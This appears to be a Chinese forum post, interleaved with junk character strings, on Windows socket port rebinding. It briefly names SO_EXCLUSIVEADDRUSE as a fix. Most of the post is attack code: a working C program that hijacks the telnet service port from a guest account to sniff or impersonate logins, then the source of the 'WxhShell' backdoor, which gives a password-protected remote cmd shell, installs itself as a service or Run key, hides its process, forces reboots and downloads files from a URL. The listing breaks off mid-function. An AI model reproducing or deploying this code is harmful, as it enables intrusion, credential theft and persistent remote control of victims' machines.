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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >o7k%T|l$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9-SXu lgu de=T7,G# saddr.sin_family = AF_INET; uuB\~ #?T \I]'6N= saddr.sin_addr.s_addr = htonl(INADDR_ANY); p}uw-$O (*tJCz`Sj bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^"- 2fJ ma~`&\xE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hT#mM*` H[Cn@XE 这意味着什么?意味着可以进行如下的攻击: ^Pwq`G A VGIc|Q=F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >MH@FnUL &aOOG8l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V
ZGhF!To f*Bc`+G 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6qf`P!7d]M bE"CSK# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 uzD{ewR/.y Mt`.|N;y! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [u:_Jqf- S]m[$)U%@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~Ua0pS? gy.;
"W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7Jk.U=vY {`> x"Y5 #include x1h!_^(QfF #include =JkSq J)? #include #s%$kYp 1 #include QWEK;kUa@ DWORD WINAPI ClientThread(LPVOID lpParam); Jt"Wtr int main() "mA/:8` Q { 9Wn0YIc WORD wVersionRequested; >qla,}x DWORD ret;
f63q WSADATA wsaData; KtE`L4tW6 BOOL val; C{-pVuhK+ SOCKADDR_IN saddr; 3@PVUJ0B| SOCKADDR_IN scaddr; +zvK/Fj2q int err; z,WrLZC SOCKET s; )U`
c9*. SOCKET sc; |u[gI+TUE int caddsize; rxA<\h,A HANDLE mt; P^UcpU, DWORD tid; uJizR
F wVersionRequested = MAKEWORD( 2, 2 ); nYY U err = WSAStartup( wVersionRequested, &wsaData ); j#,O,\ if ( err != 0 ) { tp"\ printf("error!WSAStartup failed!\n"); e_SlM=_u return -1; Sk-Ti\ } E_P]f% saddr.sin_family = AF_INET; (_2eiE71 l:+1j{ d7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _C?K;-v} ]@EjKgs saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _19k@a saddr.sin_port = htons(23); A}8U;<\Ig if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IftPN6(Z { |d$aISO` printf("error!socket failed!\n"); #,sJd ^uI return -1; dO2cgY} } EHOdst val = TRUE; Z:}^fZP //SO_REUSEADDR选项就是可以实现端口重绑定的 4(NI-|q0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?d 4_'y
{ YA jk' printf("error!setsockopt failed!\n"); 4b)xW&K{ return -1; lc^%:#@ } h!.(7qdd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {|cA[#j# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Tn|reXc0e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0)Z7U$ o?>)CAo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +_<#8v { 4d O>L" ret=GetLastError(); q:(K^ printf("error!bind failed!\n"); lWR return -1; @0G}Q } O3Uu{'=0 listen(s,2); 1{*x+GC^/ while(1) _Uq'eZol { u[% #/ caddsize = sizeof(scaddr); j2z$kw% //接受连接请求 pP .
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -M4#dHR_! if(sc!=INVALID_SOCKET) xg8<b
{ Z7 @#0;g{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mEA w^ if(mt==NULL) uQDu<@5^[ { NJ~'`{3v printf("Thread Creat Failed!\n"); 0o#lB^e;l break; 5v]xk?Eb } x?k6ek } q+ .=f.+Z CloseHandle(mt); W{%M+a[#l } 0
[s1!Cm!i closesocket(s); 9wYbY* j WSACleanup(); =J:~AD# return 0; y
Le5, } :sf;Fq DWORD WINAPI ClientThread(LPVOID lpParam)
t6tqv { #(7OvW+y SOCKET ss = (SOCKET)lpParam; GxBj N7" SOCKET sc; /a,q4tD@ unsigned char buf[4096]; 7M4iBk4I SOCKADDR_IN saddr; P++gR@ long num; *Hs5MXNu DWORD val; vO\CPb
%/ DWORD ret; FIuKX"XR //如果是隐藏端口应用的话,可以在此处加一些判断 Gce![<|ph //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ow&R~_ saddr.sin_family = AF_INET; Uc/%4Gx saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v;OA hF r| saddr.sin_port = htons(23); I;No++N0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3[c54S+(U { 3KqylC&. printf("error!socket failed!\n"); zpY8w#b return -1; g3y44GCV } KMZ% 1=a val = 100; hfY2pG9N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
! _QU- { 6K,AQ.=V2 ret = GetLastError(); se?nx7~ return -1; _H-Lt{k } ;2U`?" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2JbCYCTC { ej0q*TH. ret = GetLastError(); O)hNHIF return -1; iM\W"OUl[ } 8r~4iVwg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rtPQ:CaA)? { {3l]/X3 printf("error!socket connect failed!\n"); v
+7<} closesocket(sc); a{y;Ub closesocket(ss); cc@y return -1; TG!sck4/-Q } LEY$St while(1) |'Jz(dv[ { Er{yQIi0L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \KTX{qI"f //如果是嗅探内容的话,可以再此处进行内容分析和记录 oR5 'g7? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (*#S%4(YX num = recv(ss,buf,4096,0); #
TvY*D, if(num>0) 0Rj_l:d= send(sc,buf,num,0); V-VR+ Ndz else if(num==0) QqRL>.)W break; &L_(yJ~- num = recv(sc,buf,4096,0); gg<lWeS/3 if(num>0) vzfWPjpKW send(ss,buf,num,0); Nkc=@l{ else if(num==0) /W fpA\4S break; f-
_~rQ } 1;>J9 closesocket(ss); UF?qL1w closesocket(sc); m'Ran3rp return 0 ; b8Y-!]F } l@':mX3xd 59GS: $~_TE\F1 ========================================================== :X+7}!Wlo U1I2+;"#A 下边附上一个代码,,WXhSHELL mzDbw-# @<h@d_8^k ========================================================== 'v?Z~"w= tX)^$3A #include "stdafx.h" >]FRHJo_ c!b4Y4eJ #include <stdio.h> .|!Kv+yD #include <string.h> xM[m(m #include <windows.h> Zhf+u
r #include <winsock2.h> PyK)ks!6 #include <winsvc.h> >Ka}v:E #include <urlmon.h> \:8
>@Q m#ID%[hg$ #pragma comment (lib, "Ws2_32.lib") $vx]\`
^ #pragma comment (lib, "urlmon.lib") T$!.
:v d7A vx #define MAX_USER 100 // 最大客户端连接数 67^?v)| #define BUF_SOCK 200 // sock buffer N_wB #define KEY_BUFF 255 // 输入 buffer ca5Ir<mL L2+~I<|> #define REBOOT 0 // 重启 /alJN`g #define SHUTDOWN 1 // 关机 i,ga2{GnM Ub3^Js!b% #define DEF_PORT 5000 // 监听端口 `i;f <8~bb-U$ #define REG_LEN 16 // 注册表键长度 8do-z"- #define SVC_LEN 80 // NT服务名长度 .O@T#0&=_ Zh,(/-XN; // 从dll定义API `bNY[Gv>) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #R}sGT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4'[/gMUkw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &Yb!j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O(#DaFJv saY":fva // wxhshell配置信息 CKCot struct WSCFG { 4"7/+6Z int ws_port; // 监听端口 ,Tjc\;~% char ws_passstr[REG_LEN]; // 口令 T'!7jgk{: int ws_autoins; // 安装标记, 1=yes 0=no t[VA|1gG char ws_regname[REG_LEN]; // 注册表键名 22$M6Qof]n char ws_svcname[REG_LEN]; // 服务名 ,#m:U5#h char ws_svcdisp[SVC_LEN]; // 服务显示名 {W,&jC char ws_svcdesc[SVC_LEN]; // 服务描述信息 kIrb;bZ+l char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fgdqp8~ int ws_downexe; // 下载执行标记, 1=yes 0=no h8'`g 0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" bL-+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dD ?ZF6 b*(74 >XY }; E+)3n[G ;LD!eWSK, // default Wxhshell configuration 5o2w)<d! struct WSCFG wscfg={DEF_PORT, 4d-f6iiFV "xuhuanlingzhe", B:;$5PUTc 1, NCL!| "Wxhshell", JS$ojL^ "Wxhshell",
>cw%ckE "WxhShell Service", gaV>WF "Wrsky Windows CmdShell Service", wl7G6Y2 "Please Input Your Password: ", }LeizbU 1, wwUa+6? " http://www.wrsky.com/wxhshell.exe", Ce_k&[AJF "Wxhshell.exe" _Oc5g5_{ }; -?nr q <3 ?h\fwF3 // 消息定义模块 t\S=u y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xl>8B/Zmf# char *msg_ws_prompt="\n\r? for help\n\r#>"; 9?]69O
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Y].,}}9k char *msg_ws_ext="\n\rExit.";
8}C_/qeM char *msg_ws_end="\n\rQuit."; , Ox$W char *msg_ws_boot="\n\rReboot..."; 7x#QkImQ char *msg_ws_poff="\n\rShutdown..."; []OmztB char *msg_ws_down="\n\rSave to "; ]-g9dV_[>j e|>
5
R char *msg_ws_err="\n\rErr!"; (P'{A>aHl0 char *msg_ws_ok="\n\rOK!"; bY&!d. 8n??/VDRl char ExeFile[MAX_PATH]; A1g.ww: int nUser = 0; Nk2n&(~$ HANDLE handles[MAX_USER]; [] cF*en int OsIsNt; M47t(9krV Zo`_vx/{j SERVICE_STATUS serviceStatus; ]sLdz^E3D SERVICE_STATUS_HANDLE hServiceStatusHandle; P_}wjz}9ZX
w#}[=jy // 函数声明 vj%3v4 int Install(void); 6({TG&`!] int Uninstall(void); z;wOtKl5r int DownloadFile(char *sURL, SOCKET wsh); N2 4J!L int Boot(int flag); /:B2-4>Q! void HideProc(void); /Vdu|k= int GetOsVer(void); =aB c.PJ^ int Wxhshell(SOCKET wsl); "o)jB~:L void TalkWithClient(void *cs); cY]BtJ# int CmdShell(SOCKET sock); hg7^#f95u int StartFromService(void); Zz/
z7~{ int StartWxhshell(LPSTR lpCmdLine); *q; u%; 4 xB`j*
% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }i$ER,hXh VOID WINAPI NTServiceHandler( DWORD fdwControl ); iVT)V>U p 9$f% // 数据结构和表定义 oZ5 ,y+L4 SERVICE_TABLE_ENTRY DispatchTable[] = L9{y1'') { L;h|Sk]{ {wscfg.ws_svcname, NTServiceMain}, fDjJdRS" {NULL, NULL} %-fQ[@5 }; swKqsN. 7?ICXhu9 // 自我安装 r(j :C%?}C int Install(void) ;W{2\ Es { 70-nAv char svExeFile[MAX_PATH]; hh!4DHv HKEY key; u+
b `aB strcpy(svExeFile,ExeFile); Z\r?>2 O\F$~YQ // 如果是win9x系统,修改注册表设为自启动 i"#pk"@` if(!OsIsNt) { Yz)+UF, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4OeH}@ a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " %
l`` RegCloseKey(key); [>D5(O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |"g+p)A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IN_O!c0e RegCloseKey(key); Z H2 return 0; a(IUAh*mO } XM f>B| } sm Kp3_r } TXT!Ae else { _9yW; i- zJ)`snN| // 如果是NT以上系统,安装为系统服务 t|P+^SL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6L"b O'_5K if (schSCManager!=0) G5hf m- { 4s9qQ8? SC_HANDLE schService = CreateService m
yy*rt ( <&kl:| schSCManager, os n ,kD* wscfg.ws_svcname, +2+|zXmT wscfg.ws_svcdisp, XTJA"y SERVICE_ALL_ACCESS, "m>BE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4Ss*h,Y SERVICE_AUTO_START, Qe =8x7oIP SERVICE_ERROR_NORMAL, kho$At)V svExeFile, ;b}cn!U] NULL, (3WK2IM^ NULL, !i_~<6Wa7 NULL, {b|V;/ NULL, l?A~^4(5a/ NULL []doLt;J ); `-MCI)Fq_R if (schService!=0) &o]fBdn { cJ\1ndBH CloseServiceHandle(schService); ,zEPdhTX CloseServiceHandle(schSCManager); T_[5 ZYy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RR2M+vQ strcat(svExeFile,wscfg.ws_svcname); JmC2buO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dTWcn7C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]?T,J+S RegCloseKey(key); YpgO]\/w return 0; fI,2l
} tn;Uaw } yU>ucuF CloseServiceHandle(schSCManager); +~EnrrT+W } ;6$W-W _ } Bk]
`n'W ^HU>fkSk return 1; u"Mf xW` } #y'p4Xf W=y9mW|p/ // 自我卸载 Y() ZM int Uninstall(void) MoXai0d% { jX.'G HKEY key; YZAQt*x +TAyCxfmt
if(!OsIsNt) { ]c1#_MW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JQ|*XU RegDeleteValue(key,wscfg.ws_regname); wlQ
@3RN> RegCloseKey(key); NtmmPJ|5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qOAP_\@T RegDeleteValue(key,wscfg.ws_regname); k*OHI/uiow RegCloseKey(key); >`^;h]Q return 0; ?69E_E } ^B8[B&K } [b3$em<^JV } }zIWagC6 else { )Y`ybADd3 /]?e^akA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i|0!yID0@ if (schSCManager!=0) r)B55;*Fh { XT\2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w4FYd if (schService!=0) 3lbGG42: { <E:_9#Z0sc if(DeleteService(schService)!=0) { R[kF(C& CloseServiceHandle(schService); b\t?5z-Z CloseServiceHandle(schSCManager); _$/Bt?h return 0; Nxt`5kSx= } ]x66/O\0u CloseServiceHandle(schService); gH.$B' } VR'zm\< D CloseServiceHandle(schSCManager); >%5GMx>m } lk[u } WpOH1[8v g][n1$% return 1; qC-4X"y+ } {L
\TO, 5~$WSL?O) // 从指定url下载文件 HIUP
=/x int DownloadFile(char *sURL, SOCKET wsh) zCv)%y { (1[Z#y[ HRESULT hr; <nK@+4EH"o char seps[]= "/"; ~.#57g F" char *token; _bRgr char *file; a5(9~.9 char myURL[MAX_PATH]; Z{gDEo) char myFILE[MAX_PATH]; pU<GI@gU T)tTzgLD} strcpy(myURL,sURL); t~$8sG\ token=strtok(myURL,seps); AF,;3G while(token!=NULL) FxT]*mo { *\_>=sS x; file=token; )(rr1^Xer token=strtok(NULL,seps); X5(oL } ><$V:nsEO 3T>6Q#W5eO GetCurrentDirectory(MAX_PATH,myFILE); wv=U[:Y strcat(myFILE, "\\"); i ~)V>x strcat(myFILE, file); \9~Q+~@{G send(wsh,myFILE,strlen(myFILE),0); F&C< = l\X send(wsh,"...",3,0); Ur ol)_3X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `)kxFD_bH if(hr==S_OK) :2+z_+k}< return 0; 3#aLCpVla else ,Y16m{<eC return 1; \tA@A ~fs}
J } #ApmJLeCO cEn|Q // 系统电源模块
#Zi6N int Boot(int flag) flz7{W { 7<(kvE*x HANDLE hToken; \w&R`;b8w TOKEN_PRIVILEGES tkp; Iu(]i?Y ZXf&pqmG if(OsIsNt) { fF2]7: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mRt/d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ` +)Bl%* tkp.PrivilegeCount = 1; U lCw{:#F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 06`caG|]-M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l\!`ZhM, if(flag==REBOOT) { Fu% n8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >"z`))9 return 0; FE:}D;$ } ^W`RBrJay else { xgtx5tg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~S<}q6H. return 0; _,? xc" } 7UqDPEXU]` } jaIcIc=Pf else { aCi)icn$ if(flag==REBOOT) { mR|']^!SE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "*S_w N% return 0; &x4*YMh } $7-S\sDr else { -
/cf3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ks,d4b=-> return 0; h\5~&}Hp } b?2 \j} } 9|NF)~Q}' G @]n(\7Y return 1; h
A'>
} oW>e.}d! dnM. // win9x进程隐藏模块 uH7!)LE# void HideProc(void) Dc 84^>l { e@5w?QzW O7od2fV(i7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #iRd2Qj% if ( hKernel != NULL ) FTzc,6 { (Zej\lEN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7.+vp@+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {IF$\{Al FreeLibrary(hKernel); QHsJo|. } #miG"2ea.. BqavI&1= return; AmUH]+5KT } MM&qLAa"f M+)ENve // 获取操作系统版本 K_;?Sr= int GetOsVer(void) [<}W S}
. { zFY$^Oz"_ OSVERSIONINFO winfo; +x?8\
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qWXw*d1] GetVersionEx(&winfo); ^`RMf5i1m if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Ag2zx return 1; D+w? else ty@D3l return 0; {@'#|]4y. } R <&U]%FD g3 !<A*< // 客户端句柄模块 ]6MXG% int Wxhshell(SOCKET wsl) DZ:$p. { +S1h~@c:B SOCKET wsh; 1M?Sl?+j struct sockaddr_in client; gQeoCBCE DWORD myID; #UvWS cKIA.c}N while(nUser<MAX_USER) n:}'f-
:T { er@.<Dc int nSize=sizeof(client); &Gm3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K]^Jl0 if(wsh==INVALID_SOCKET) return 1; gRw? <U^ 821
6_Qm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P`
Gb}]rW if(handles[nUser]==0) @# .a5 closesocket(wsh); roIc1Ax: else a,:Nlr3 nUser++; bkm:#K } 51;Bc[)% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eMP0BS" Bi0&F1ZC! return 0; vCtnjWGX}/ } mAe)Hy % 1R]h>' // 关闭 socket q 1A0-W#4 void CloseIt(SOCKET wsh) "rrE_ { hy3?. closesocket(wsh); I@1VX5 nUser--; :Yi 4Ia ExitThread(0); ir_X65l/2 } 7!e kINQ /g!X[rn7Q // 客户端请求句柄 D6'-c# void TalkWithClient(void *cs) o KY0e&5 { 8vj]S5 aOEW$% SOCKET wsh=(SOCKET)cs; l 1BAW$ char pwd[SVC_LEN]; FX~pjM char cmd[KEY_BUFF]; R?:(~ X\ char chr[1]; 99[v/L>F int i,j; ei[, ug' =[)2DJC while (nUser < MAX_USER) { <}%gZ:Z6g vfh\X1Ui} if(wscfg.ws_passstr) { kvt^s0T8Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )<T2J0* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^>s{o5H& //ZeroMemory(pwd,KEY_BUFF); l i%8X. i=0; \'B%lXh while(i<SVC_LEN) { |e2s{J2 fh&Q(:ZU // 设置超时 C1-Jj_XQ. fd_set FdRead; nd h\+7 struct timeval TimeOut; pQ`S%]k.< FD_ZERO(&FdRead); |+1k7S, FD_SET(wsh,&FdRead); I.1(qbPkF+ TimeOut.tv_sec=8; @[;$R@M_3 TimeOut.tv_usec=0; OuB[[L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1+ V<-I@{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k[1w] l8 {dvsZJj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Txwp?}; pwd =chr[0]; X-SR0x if(chr[0]==0xd || chr[0]==0xa) { @nM+*0
$d pwd=0; Z}>+!Z break; Rts}y:44 } UJ&gm_M+kL i++; %vU*4mH } x'
3kHw _2xYDi // 如果是非法用户,关闭 socket ^ E3 HY@j if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QhPpo#^ } :Lq=)'d;6 ^!K 8nW{* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E{'\(6z_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (=tu~ ^ 8qs8QK while(1) { rU7t~DKS Hnbd<?y
ZeroMemory(cmd,KEY_BUFF); B(pHo&ox
U> {CG+X // 自动支持客户端 telnet标准 31mlnDif j=0; rmdG"s while(j<KEY_BUFF) { DE$T1pFV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N||s# cmd[j]=chr[0]; )GJlQ1x if(chr[0]==0xa || chr[0]==0xd) { z_:r&UP`" cmd[j]=0; s1zkkLw`* break; :LD+B1$y } X Qj+]-m j++; wKy4Ic+RV } H&0S D 6F/9| // 下载文件 ,>I_2mc if(strstr(cmd,"http://")) { a0cW=0l= send(wsh,msg_ws_down,strlen(msg_ws_down),0); iBqIV if(DownloadFile(cmd,wsh)) \3cg\Q+~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); OLDEB.@ else 1i$OcN?x% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TK#-;p_ } T!Uf
PfEI else { jHc/ EZB p;{w0uld" switch(cmd[0]) { P/8z SSr2K // 帮助 15!b]': case '?': { liVDBbS_A? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l78:. break; A
Zv| |8p } "C9.pdP\8 // 安装 [,mcvO; case 'i': { Ht%O9v if(Install()) :']O4v#^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); E=~Ahkg else ZmJHLn[B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |1Ko5z break; q^b_'We_9 } z0 _/JwJn // 卸载 zKaEh
case 'r': { ~Nl`Zmn(A| if(Uninstall()) aB4L$M8x send(wsh,msg_ws_err,strlen(msg_ws_err),0); @#| R{5=+ else F2["Ak NM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "4i_} break; (OHd} YQ } n`7n5M* // 显示 wxhshell 所在路径 &/lmg!6 case 'p': { /M~rmIks char svExeFile[MAX_PATH]; p2o66t strcpy(svExeFile,"\n\r"); IR*:i{ strcat(svExeFile,ExeFile); 3S1`av(tD send(wsh,svExeFile,strlen(svExeFile),0); +4Lj}8, break; p:8]jD@}% } kA&ul // 重启 h3kBNBI ) case 'b': { =|bW >y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eR5+1b if(Boot(REBOOT)) nB86oQ/S send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1V1T1 else { m{sch`bP closesocket(wsh); =_H)5I_\ ExitThread(0); .#ATI<t } .t9zF-jk break; n!y}p q6 } .;~K*GC // 关机 .ZOyZnr
Z case 'd': { ]ch=D send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W[j7Vi8v if(Boot(SHUTDOWN)) XY`2>7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Dg'MMBM else { x$tzq+N closesocket(wsh); JZrUl^8E ExitThread(0); v4wXa:CJ } UHUO9h break; 1oIu~f{` } wenJ (0L| // 获取shell %uhhQ<zs% case 's': { RlTVx: CmdShell(wsh); We*c_;@< closesocket(wsh); Q Ph6
p3bg ExitThread(0); MBH/,Yd break; &b&o];a } y2Z1B2E%f // 退出 L\asrdL?= case 'x': { "n=Ih_J send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q CB9z CloseIt(wsh); )d-{# break; -2Azpeh }
g ed k // 离开 %uLyL4*L(p case 'q': { 9CTvG zkw send(wsh,msg_ws_end,strlen(msg_ws_end),0); $U/_8^6B0 closesocket(wsh); !#8=tO WSACleanup(); },LW@Z} exit(1); K1>(Fs$ break; Vl+,OBy } kXbdR } 7%4@* } 1
+'HKT} bwAL: // 提示信息 T3
k#6N. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mF !=H% } CiGN?1| } 3
,?==? Aw *:5 I[ return; DY%#E9 } c F(]`49( }ZWeb#\ // shell模块句柄 >zDnJb&"& int CmdShell(SOCKET sock) tY=n("=2 { SbW6O_ STARTUPINFO si; ba ZeroMemory(&si,sizeof(si)); d\ Z#XzI8 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &Wup
7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZVek`Cc2 PROCESS_INFORMATION ProcessInfo; dO[w3\~ char cmdline[]="cmd"; lC i_G3C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oFRb+H(E return 0; 2tqO%8`_ } 4x:Odt5 =`]yq;(C7j // 自身启动模式 cAc i2e int StartFromService(void) VgNt { [2,u:0 " typedef struct jP";ll|c { XDJQO /qN DWORD ExitStatus; qlg~W/ DWORD PebBaseAddress; ynN[N(m# DWORD AffinityMask; G{ $Zg DWORD BasePriority; %R{clbbbn ULONG UniqueProcessId; -h8!O+7 . ULONG InheritedFromUniqueProcessId; }?Y+GT"E } PROCESS_BASIC_INFORMATION; BE}qwP^ lA<IcW PROCNTQSIP NtQueryInformationProcess; W$Bx?}x($ :8aIj_qds static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K9*#H( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .W&rcqy <ZNa` HANDLE hProcess; m H'jr$ ? PROCESS_BASIC_INFORMATION pbi; KV0e^c; \(LHcvbb HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F#^ .L|d4 if(NULL == hInst ) return 0; ;D[b25 O!uB|* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f:TC;K g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 